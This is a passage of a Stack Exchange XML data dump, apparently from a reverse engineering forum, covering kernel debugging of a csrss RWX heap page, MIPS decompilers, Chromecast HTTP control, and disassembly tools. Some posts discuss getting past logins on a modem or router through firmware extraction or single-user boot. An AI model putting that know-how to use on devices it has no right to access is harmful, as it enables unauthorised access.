6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dump call stack &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; kb&#xA;ChildEBP RetAddr  Args to Child              &#xA;0015fda4 75b437b8 00007008 7f6f0000 00100000 ntdll!RtlCreateHeap+0x5be&#xA;0015fe28 75b42f9a 001626dd 00000000 00000000 CSRSRV!CsrSrvCreateSharedSection+0x23f&#xA;0015ff74 75b430f3 0000000a 001624f0 7c90dc9e CSRSRV!CsrParseServerCommandLine+0x255&#xA;0015ff88 4a68115d 0000000a 001624f0 00000005 CSRSRV!CsrServerInitialization+0x95&#xA;0015ffa8 4a6818d7 0000000a 001624f0 0016251c csrss!main+0x4f&#xA;0015fff4 00000000 7ffde000 000000c8 00000166 csrss!NtProcessStartup+0x1d2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;list of breakpoints&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kd&amp;gt; bl&#xA; 0 e 8058124c     0001 (0001) nt!NtCreateProcessEx&#xA; 1 e 805691ea     0001 (0001) nt!NtAllocateVirtualMemory &quot;!vad @@c++(((nt!_EPROCESS *) 0x81160020)-&amp;gt;VadRoot);kb;.echo \n;dd poi(@esp+8);&quot;&#xA; 2 e 7f6f0000 w 1 0001 (0001)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can follow this methodology with winlogon further below in the chain&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update to answer comment&lt;/strong&gt;   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the breakpoint @NtAllocateVirtualMemory did not catch the allocation of vad 12&lt;br&gt;&#xA;which was RWX allotment from vad11 my breakpoint got hit only when vad 13 was allocated&lt;br&gt;&#xA;and printing vadtree i found that the vads had increased by 2 and one of them was the   7f6f0000 rwx page so maybe another way is used to add the vad to vad tree insted of   NtAllocateVirtualMemory it is possible that rwx needs to be reset and isnt being reset needs investigation&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i can only confirm that the page is indeed HEAP and seems to mapped in almost every process&#xA;with EXECUTE_READ permissions on all the process vads except in csrss where it is RWX&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; .logopen c:\check7f6f0page.txt&#xA;Opened log file 'c:\check7f6f0page.txt'&#xA;lkd&amp;gt; !for_each_process &quot;.process /p /r @#Process ; !grep -c \&quot;!vad @@c++( ( ( nt!_EPROCESS *) @#Process )-&amp;gt;VadRoot)\&quot; -e \&quot;7f6f0\&quot;&quot;&#xA;lkd&amp;gt; .logclose&#xA;Closing open log file c:\check7f6f0page.txt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;results show this page is mapped in all process&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; .shell grep &quot;7f6f0    7f7ef         0 Mapped&quot; c:\check7f6f0page.txt&#xA;&amp;lt;.shell waiting 1 second(s) for process&amp;gt;&#xA;86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section&#xA;86d39250 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READWRITE  Pagefile-backed section&#xA;86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86e87fd8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86b96d10 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86abfe80 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86eaf3a8 ( 3)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86b3fda8 ( 4)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;86e77b20 ( 2)      7f6f0    7f7ef         0 Mapped       EXECUTE_READ       Pagefile-backed section&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and confirms to structure _HEAP&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; dt -r nt!_HEAP 0x7f6f0000&#xA;   +0x000 Entry            : _HEAP_ENTRY&#xA;      +0x000 Size             : 0xc8&#xA;      +0x002 PreviousSize     : 0&#xA;      +0x000 SubSegmentCode   : 0x000000c8 Void&#xA;      +0x004 SmallTagIndex    : 0x1e ''&#xA;      +0x005 Flags            : 0x1 ''&#xA;      +0x006 UnusedBytes      : 0 ''&#xA;      +0x007 SegmentIndex     : 0 ''&#xA;   +0x008 Signature        : 0xeeffeeff&#xA;   +0x00c Flags            : 0x7008&#xA;   +0x010 ForceFlags       : 8&#xA;   +0x014 VirtualMemoryThreshold : 0xfe00&#xA;   +0x018 SegmentReserve   : 0x100000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dump of 7f6f0000&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; dd 7f6f0000 l1c/4&#xA;7f6f0000  000000c8 0000011e eeffeeff 00007008&#xA;7f6f0010  00000008 0000fe00 00100000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and you can confirm this pattern is indeed heap if you look at ntdll!RtlCreateHeap &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; !grep -c &quot;uf ntdll!RtlCreateHeap&quot; -e &quot;ebp-24h&quot;&#xA;7c925dcd c745dc88050000  mov     dword ptr [ebp-24h],588h&#xA;7c925de7 c745dcc0050000  mov     dword ptr [ebp-24h],5C0h&#xA;7c925e87 8145dc80000000  add     dword ptr [ebp-24h],80h&#xA;7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]&#xA;7c93c079 0145dc          add     dword ptr [ebp-24h],eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;dis assemble where the address is used   &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; u 7c925eb1&#xA;ntdll!RtlCreateHeap+0x421:&#xA;7c925eb1 8b75dc          mov     esi,dword ptr [ebp-24h]&#xA;7c925eb4 83c607          add     esi,7&#xA;7c925eb7 83e6f8          and     esi,0FFFFFFF8h&#xA;7c925eba 8bc6            mov     eax,esi&#xA;7c925ebc c1e803          shr     eax,3&#xA;7c925ebf 8b4de4          mov     ecx,dword ptr [ebp-1Ch]&#xA;7c925ec2 668901          mov     word ptr [ecx],ax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;evaluate the expression&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;lkd&amp;gt; ? ((588 + 80 &amp;gt;&amp;gt; 3) + 7)  &amp;amp; 0x0fffffff8 &#xA;Evaluate expression: 200 = 000000c8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the RWX page in csrss is &lt;code&gt;_CsrSrvSharedSectionHeap&lt;/code&gt; == &lt;code&gt;_CsrSrvSharedSectionBase&lt;/code&gt;&lt;br&gt;&#xA;that specifc value is queried from registry  and  mapped with NtMapViewOfSection&lt;br&gt;&#xA;or a Section Created using NtCreateSection&#xA;all of this happens under&lt;br&gt;&#xA;&lt;code&gt;csrss!main -&amp;gt;csrsrv.dll -&amp;gt;CsrsrvCreateSharedSection&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;reg query &quot;hklm\system\currentcontrolset\control\session manager\subsystems\csrss&quot;&#xA;! REG.EXE VERSION 3.0    &#xA;HKEY_LOCAL_MACHINE\system\currentcontrolset\control\session manager\subsystems\csrss&#xA;        CsrSrvSharedSectionBase     REG_DWORD       0x7f6f0000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="3473" LastEditDate="2014-01-18T19:16:41.557" LastActivityDate="2014-01-18T19:16:41.557" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3457" PostTypeId="1" AcceptedAnswerId="3461" CreationDate="2014-01-14T12:50:48.203" Score="6" ViewCount="14372" Body="&lt;p&gt;&lt;a href=&quot;https://www.hex-rays.com/products/ida/&quot; rel=&quot;nofollow&quot;&gt;IDA&lt;/a&gt; can disassemble to assembly. But, reading large assembly blocks with byte shifts, etc, is tedious work. I rather would read pseudo-code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any documents, tutorials or tools for this work targeting MIPS platform? What methods are you people using ? Sorry if this question is off-topic but normal Google search didn't yield much for MIPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I try to decompile modem firmware image and look for default telnet password actually since WebUI passwords dont work and my ISP does not know it too.&lt;/p&gt;&#xA;" OwnerUserId="3653" LastEditorUserId="4212" LastEditDate="2014-06-04T05:35:02.017" LastActivityDate="2017-05-03T06:55:35.557" Title="Is it possible to convert MIPS ASM to code?" Tags="|ida|assembly|decompiler|mips|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3458" PostTypeId="2" ParentId="3457" CreationDate="2014-01-14T13:10:36.517" Score="4" Body="&lt;p&gt;The only MIPS decompiler I know is &lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;nofollow&quot;&gt;REC&lt;/a&gt;.&#xA;There is also &lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;, but I didn't try it myself.&lt;/p&gt;&#xA;" OwnerUserId="2318" LastEditorUserId="2318" LastEditDate="2014-01-14T13:23:13.517" LastActivityDate="2014-01-14T13:23:13.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3459" PostTypeId="1" CreationDate="2014-01-14T14:45:52.067" Score="3" ViewCount="380" Body="&lt;p&gt;I'm trying to reverse engineer a binary running on a zyxel router. My first approach would have been to change the password within the .bin firmware itself, but as seen &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/3454/unsquashfs-fails&quot;&gt;here&lt;/a&gt;, I'm having some trouble extracting part of the files. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hooked the router up using a serial cable and have managed to interupt the booting process. Considering it's running Linux, is there a way to start the router up in some type of single user mode which will imediately fall back to /bin/sh and not require login? &lt;/p&gt;&#xA;" OwnerUserId="3644" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-01-14T17:01:59.433" Title="Reversing a router, single user mode" Tags="|firmware|networking|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3460" PostTypeId="2" ParentId="3454" CreationDate="2014-01-14T15:41:43.903" Score="3" Body="&lt;p&gt;Vendors are notorious for modifying SquashFS. Historically, they have done it to patch in LZMA support, since SquashFS only officially supported gzip compression until version 4.0. Even though SquashFS 4.0 now officially supports both gzip and LZMA, many vendors still use their &quot;hacked&quot; versions of SquashFS. Some have even swapped the gzip/LZMA flags in the SquashFS header (e.g., the header reports that it is gzip compressed when really it is LZMA).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try the unsquashfs tools from the &lt;a href=&quot;https://code.google.com/p/firmware-mod-kit/&quot; rel=&quot;nofollow&quot;&gt;firmware mod kit&lt;/a&gt;. There are 20 or so different unsquashfs utilities in there, one is likely to work (the included unsquashfs_all.sh script is your friend here). If none of them do work, your best bet is probably to look for GPL releases from the vendor for your device, or for other devices (vendors usually re-use code), which may contain their patched squashfs utilities.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-01-14T15:41:43.903" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3461" PostTypeId="2" ParentId="3457" CreationDate="2014-01-14T16:53:28.843" Score="9" Body="&lt;p&gt;IDA's decompiler only supports ARM and x86. With that said, there are a couple you can try:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.backerstreet.com/rec/rec.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;REC&lt;/a&gt; - This one has already been mentioned. Last I used it, it would segfault when you issued the 'help' command, so YMMV.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://decompiler.fit.vutbr.cz/decompilation/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Retargetable Decompiler&lt;/a&gt; - This is an online decompiler that supports various architectures, including MIPS. It's OK at getting a general idea of how the code works, but in my experience misses important details (it showed data being written to undefined pointers, for example).&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.pnfsoftware.com/jeb2/mips&quot; rel=&quot;nofollow noreferrer&quot;&gt;JEB&lt;/a&gt; - JEB 2.3 is a professional reverse-engineering platform that supports native decompilation of MIPS 32-bit code. The output is interactive and can be refactored/modified, similarly to Hexrays'.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Ultimately, you are probably better off learning to read the disassembly. One thing that I commonly do is manually convert individual code blocks to pseudo-code; in IDA you can then right-click on a code block, select 'Group Nodes' and replace the disassembly in that code block with whatever text you want (e.g., the pseudo code). This makes it much easier to break down and understand complex functions.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastEditorUserId="1314" LastEditDate="2017-05-03T06:55:35.557" LastActivityDate="2017-05-03T06:55:35.557" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3462" PostTypeId="2" ParentId="3459" CreationDate="2014-01-14T17:01:59.433" Score="2" Body="&lt;p&gt;It depends on the bootloader. Many will allow you to edit the kernel options, which should allow you to drop into single user mode. This is usually done by setting an environment variable in the bootloader (&quot;bootargs&quot; or something similar). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know the bootloader being used, you can look up any documentation that might be available (&lt;a href=&quot;http://www.denx.de/wiki/U-Boot/Documentation&quot; rel=&quot;nofollow&quot;&gt;U-Boot&lt;/a&gt;, for example) to see if there are any guidelines on how to control boot parameters.&lt;/p&gt;&#xA;" OwnerUserId="1408" LastActivityDate="2014-01-14T17:01:59.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3465" PostTypeId="1" CreationDate="2014-01-14T22:49:06.457" Score="1" ViewCount="1449" Body="&lt;p&gt;I am trying to RE the chrome cast protocol.&#xA;I saw Koushik Dutta did RE the &lt;a href=&quot;https://plus.google.com/110558071969009568835/posts/G3jF2JynLc2&quot; rel=&quot;nofollow&quot;&gt;protocol&lt;/a&gt;, but didn't find any post online analyze the protocol. Moreover Google changed it a little bit since then.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;currently I figured out some of the http packets the sender and receiver transmit but I would like to figure out what is the http request I need to send the cast device in order it will render an .html file and/or javascript code on it.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;I want to mimic &lt;a href=&quot;https://github.com/pjjanak/chromecast-hello-world&quot; rel=&quot;nofollow&quot;&gt;this snippet&lt;/a&gt; without using google API nor &lt;code&gt;APP ID&lt;/code&gt; nor &lt;code&gt;NAMESPACE&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $(function() {&#xA;        var receiver = new cast.receiver.Receiver('*** YOUR APP ID ****', ['*** YOUR NAMESPACE ***']),&#xA;            channelHandler = new cast.receiver.ChannelHandler('*** YOUR NAMESPACE ***'),&#xA;            $messages = $('.messages');&#xA;&#xA;        channelHandler.addChannelFactory(&#xA;            receiver.createChannelFactory('*** YOUR NAMESPACE ***'));&#xA;&#xA;        receiver.start();&#xA;&#xA;        channelHandler.addEventListener(cast.receiver.Channel.EventType.MESSAGE, onMessage.bind(this));&#xA;&#xA;        function onMessage(event) {&#xA;            $messages.html(event.message.type);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to find the right &lt;code&gt;curl&lt;/code&gt; / &lt;code&gt;http&lt;/code&gt; request in order to run my &lt;code&gt;.js&lt;/code&gt; on the cast without using google API. for example the following &lt;a href=&quot;http://fiquett.com/2013/07/chromecast-traffic-sniffing/&quot; rel=&quot;nofollow&quot;&gt;curl&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;curl -H “Content-Type: application/json” http://10.0.1.2:8008/apps/YouTube -X DELETE&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;kills the running app on the cast. How can I make it run my app without being bounded to google's whitelist and demo API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The google &lt;a href=&quot;https://www.gstatic.com/cast/js/receiver/1.0/cast_receiver.js&quot; rel=&quot;nofollow&quot;&gt;cast_reciver.js&lt;/a&gt; is obfuscated:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cr$rb = function (a) {&#xA;    cr$k(a, &quot;Listener can not be null.&quot;);&#xA;    if (&quot;function&quot; == cr$b(a)) return a;&#xA;    cr$k(a.handleEvent, &quot;An object listener must have handleEvent method.&quot;);&#xA;    return a[cr$Ab] || (a[cr$Ab] = function (b) {&#xA;        return a.handleEvent(b)&#xA;    })&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1868" LastEditorUserId="1868" LastEditDate="2014-07-12T15:38:49.060" LastActivityDate="2014-07-12T15:38:49.060" Title="How to send and render an .html for chromecast using RAW http requests?" Tags="|deobfuscation|javascript|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3466" PostTypeId="2" ParentId="3443" CreationDate="2014-01-15T16:20:52.547" Score="5" Body="&lt;p&gt;Another option is (sorry for the spam!) &lt;a href=&quot;http://pyew.googlecode.com&quot;&gt;http://pyew.googlecode.com&lt;/a&gt;. This is a static analyser written in Python that is used, mainly, for malware analysis. Depending on what you need, you may find it useful (it only supports yet 16, 32 and x64 Intel code). You can write your own scripts using &lt;a href=&quot;https://code.google.com/p/pyew/wiki/BatchExample&quot;&gt;Pyew's API&lt;/a&gt; (here you have a more complex &lt;a href=&quot;https://code.google.com/p/pyew/source/browse/gcluster.py&quot;&gt;example&lt;/a&gt;). I use (and used it) for masive malware analysis. Indeed, when I was working for them, Pyew was analysing all the VirusTotal traffic. We used it to discard some very similar looking samples from some expensive analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pyew does recursive traversal code analysis (explanation &lt;a href=&quot;https://code.google.com/p/pyew/wiki/CodeAnalysis&quot;&gt;here&lt;/a&gt;). Pyew it's not going to be fooled like linear-sweeps disassemblers. Anyway, it isn't as smart as it's IDA. Pyew is Open Source (GPL) and depending on your needs I even give, sometimes, LGPL licenses for it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS: If you're looking for something that support anything which is not Intel based and you want something Open Source you really need to check out &lt;a href=&quot;http://radare.org&quot;&gt;radare&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="111" LastActivityDate="2014-01-15T16:20:52.547" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3467" PostTypeId="2" ParentId="3443" CreationDate="2014-01-15T17:24:35.247" Score="6" Body="&lt;p&gt;I'm reposting my comment which I wrote for perror's &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/2347/what-is-the-algorithm-used-in-recursive-traversal-disassembly&quot;&gt;question&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://lida.sourceforge.net&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lida&lt;/a&gt; (a tool based on Bastard's &lt;a href=&quot;http://bastard.sourceforge.net/libdisasm.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;libdisasm&lt;/a&gt;), &lt;a href=&quot;http://code.google.com/p/distorm/&quot; rel=&quot;nofollow noreferrer&quot;&gt;distorm&lt;/a&gt; and &lt;a href=&quot;http://www.beaengine.org/home&quot; rel=&quot;nofollow noreferrer&quot;&gt;beaengine&lt;/a&gt; are some open source disassembly engines that use recursive disassembly.&lt;/p&gt;&#xA;" OwnerUserId="1571" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2014-01-15T17:24:35.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3468" PostTypeId="1" AcceptedAnswerId="3470" CreationDate="2014-01-16T03:48:21.593" Score="1" ViewCount="5160" Body="&lt;p&gt;In Visual Studio I have written simple code,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int pranit = 2;&#xA;int&amp;amp; sumit = pranit;&#xA;&#xA;int main(int argc, char** argv) {&#xA;    sumit++;&#xA;    return sumit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used OllyDbg to Disassamble, but I am not able to find where  &lt;code&gt;sumit&lt;/code&gt;, &lt;code&gt;pranit&lt;/code&gt; are defined in assembly. Though doing some string search I got following details:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Names in ConsoleA, item 313  Address=013B8004  Section=.data &#xA;Type=Library  Name=sumit&#xA;&#xA;Names in ConsoleA, item 257  Address=013B8000  Section=.data &#xA;Type=Library  Name=pranit&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to find, where and how it is used in assembly code. Also, I want to find out both address and value of these global variables. &lt;/p&gt;&#xA;" OwnerUserId="2460" LastEditorUserId="53" LastEditDate="2014-01-16T17:25:53.090" LastActivityDate="2014-01-16T18:47:13.553" Title="How to find how global variables defined in binary" Tags="|disassembly|debuggers|binary-analysis|c++|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3469" PostTypeId="2" ParentId="3468" CreationDate="2014-01-16T05:16:42.077" Score="2" Body="&lt;p&gt;step over in in the visual studio debugger, then right-click-&gt;show disassembly and you will see the disassembly, including variable names and addresses.&lt;/p&gt;&#xA;" OwnerUserId="2808" LastActivityDate="2014-01-16T05:16:42.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3470" PostTypeId="2" ParentId="3468" CreationDate="2014-01-16T08:42:55.893" Score="8" Body="&lt;p&gt;opening a vc commandprompt using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;start-&amp;gt;programs-&amp;gt;vc-&amp;gt;vc command prompt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Setting environment for using Microsoft Visual Studio 2010 x86 tools.&#xA;creating a tempdir in desktop for compiling and linking&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio 10.0\VC&amp;gt;cd &quot;c:\Documents and Settings\Admin\Desktop&quot;&#xA;C:\Documents and Settings\Admin\Desktop&amp;gt;md pran&#xA;C:\Documents and Settings\Admin\Desktop&amp;gt;cd pran&#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;copy con prankasum.cpp&#xA;^Z&#xA;        1 file(s) copied.&#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;write prankasum.cpp    &#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;type prankasum.cpp&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;int pranit = 2;&#xA;int&amp;amp; sumit = pranit;&#xA;int main(int argc, char** argv)&#xA;{&#xA;sumit++;&#xA;return sumit;&#xA;}    &#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;dir /b&#xA;prankasum.cpp    &#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;cl /nologo /Zi prankasum.cpp /link /RELEASE&#xA;prankasum.cpp    &#xA;C:\Documents and Settings\Admin\Desktop\pran&amp;gt;dir /b&#xA;prankasum.cpp&#xA;prankasum.exe&#xA;prankasum.obj&#xA;prankasum.pdb&#xA;vc100.pdb&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;opening the exe in ollydbg and navigating to main&lt;br&gt;&#xA;tab the comment column to show source and in debugging options ask ollydbg to use recogneized args and locals&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Documents and Settings\Admin\Desktop\pran&amp;gt; ollydbg prankasum.exe      &#xA;00401000  &amp;gt;PUSH    EBP                          ; {&#xA;00401001   MOV     EBP, ESP&#xA;00401003   MOV     EAX, DWORD PTR DS:[sumit]    ; sumit++;&#xA;00401008   MOV     ECX, DWORD PTR DS:[EAX]&#xA;0040100A   ADD     ECX, 1&#xA;0040100D   MOV     EDX, DWORD PTR DS:[sumit]&#xA;00401013   MOV     DWORD PTR DS:[EDX], ECX&#xA;00401015   MOV     EAX, DWORD PTR DS:[sumit]    ; return sumit;&#xA;0040101A   MOV     EAX, DWORD PTR DS:[EAX]&#xA;0040101C   POP     EBP                          ; }&#xA;0040101D   RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or in windbg&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;prankasum!main:&#xA;00401000 55              push    ebp&#xA;0:000&amp;gt; uf @eip&#xA;prankasum!main [c:\documents and settings\admin\desktop\pran\prankasum.cpp @ 5]:&#xA;    5 00401000 55              push    ebp&#xA;    5 00401001 8bec            mov     ebp,esp&#xA;    6 00401003 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]&#xA;    6 00401008 8b08            mov     ecx,dword ptr [eax]&#xA;    6 0040100a 83c101          add     ecx,1&#xA;    6 0040100d 8b1504b04000    mov     edx,dword ptr [prankasum!sumit (0040b004)]&#xA;    6 00401013 890a            mov     dword ptr [edx],ecx&#xA;    7 00401015 a104b04000      mov     eax,dword ptr [prankasum!sumit (0040b004)]&#xA;    7 0040101a 8b00            mov     eax,dword ptr [eax]&#xA;    8 0040101c 5d              pop     ebp&#xA;    8 0040101d c3              ret&#xA;0:000&amp;gt; dv&#xA;           argc = 0n1  argv = 0x00033ba8&#xA;0:000&amp;gt; ?? sumit     int * 0x0040b000&#xA;0:000&amp;gt; ?? pranit    int 0n2&#xA;0:000&amp;gt; pct    0040101d c3              ret&#xA;0:000&amp;gt; ?? sumit    int * 0x0040b000&#xA;0:000&amp;gt; ?? pranit    int 0n3&#xA;0:000&amp;gt; x /t /v /q prankasum!sumit&#xA;prv global 0040b004    4 int * @!&quot;prankasum!sumit&quot; = 0x0040b000&#xA;0:000&amp;gt; x /t /v /q prankasum!pranit&#xA;prv global 0040b000    4 int @!&quot;prankasum!pranit&quot; = 0n3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;update&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;explanation for tabbing through comment column &lt;/p&gt;&#xA;&#xA;&lt;p&gt;each mdi window in ollydbg has a bar in top it can be hidden or shown&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;right click -&amp;gt; appearance -&amp;gt; show bar / hide bar&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;each of the bars have columns and many of the colums can be configured to show different &#xA;items in cpu window if you &lt;code&gt;repeatedly click the comment column&lt;/code&gt; it will cycle through &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;comment / profile/ and source&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;comment will show all the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;analysis comments / user comments&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;profile will show all the &lt;code&gt;run trace / hittrace/ module and global profile statistics&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example this &lt;code&gt;strcpy_s&lt;/code&gt; was called 50 times during crt initialisation&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;004019EC   |.  &amp;gt;|CALL    prankasu.strcpy_s           ;  50.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;inside this call this loop was called  ~2700 times&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;00403D45   /MOV     CL, BYTE PTR DS:[EAX]       ;  2787.&#xA;00403D47   |MOV     BYTE PTR DS:[ESI+EAX], CL   ;  2787.&#xA;00403D4A   |INC     EAX                         ;  2787.&#xA;00403D4B   |TEST    CL, CL                      ;  2787.&#xA;00403D4D   |JE      SHORT prankasu.00403D52     ;  2787.&#xA;00403D4F   |DEC     EDI                         ;  2737.&#xA;00403D50   \JNZ     SHORT prankasu.00403D45     ;  2737.&#xA;00403D52   TEST    EDI, EDI                     ;  50.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;if you cycle through to source column&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;strcpy_s is from vc\crt\stdenvp.c:133.  _ERRCHECK(_tcscpy_s(*env, cchars, p));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;see 